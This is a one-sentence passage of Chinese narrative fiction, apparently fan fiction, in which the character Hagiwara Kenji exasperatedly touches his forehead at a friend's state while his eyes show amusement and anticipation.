萩原研二看着好友这副模样,无奈地扶额,但眼中也充满了笑意和期待。